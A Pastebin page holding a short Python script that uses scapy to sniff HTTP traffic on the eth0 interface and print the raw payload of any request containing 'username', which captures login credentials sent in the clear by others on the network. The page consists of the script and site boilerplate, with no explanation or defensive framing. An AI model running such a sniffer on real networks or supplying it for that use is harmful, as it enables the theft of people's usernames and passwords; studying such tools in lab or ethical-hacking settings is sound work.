Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import scapy.all as scapy
- from scapy.layers import http
- def sniff(interface):
- scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
- def process_sniffed_packet(packet):
- if packet.haslayer(http.HTTPRequest):
- if packet.haslayer(scapy.Raw):
- load = packet[scapy.Raw].load
- if "username" in load:
- print(load)
- sniff("eth0")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement